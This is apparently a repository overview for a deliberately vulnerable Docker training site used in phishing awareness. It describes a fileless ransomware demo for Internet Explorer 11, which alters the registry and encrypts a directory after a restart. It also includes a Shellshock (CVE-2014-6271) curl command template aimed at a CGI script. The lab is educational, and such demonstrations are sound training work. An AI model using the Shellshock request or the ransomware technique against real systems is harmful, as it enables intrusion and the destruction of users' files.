tshethp/vulnerable_site_example repository overview

This is a vulnerable phishing awareness example application deployed in Docker. It can be used to demonstrate vulnerability and file less ransomware PoC. The use of this docker is for education purpose and should not be used before security team's approval.

Setup instruction: docker run -d -p 80:80 tshethp/vulnerable_site_example

1. File Less malware for windows 7 IE browser v11.x (tested version) In order to demonstrate file less ransomware. Activex control need to be enabled in internet explorer 11.x. Command will add registry value in HKCU as filelessmalware folder. after restart it will encrypt a specific directory in C:
   For more details on the same visit https://github.com/rpgeeganage/file-less-ransomware-demo⁠

2. The docker container is also vulnerable with shellshock vulnerability (CVE-2014-6271). It can me used for exploit PoC and education purpose. Following command can be used to exploit the same.

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c '' " http://:/cgi-bin/vulnerable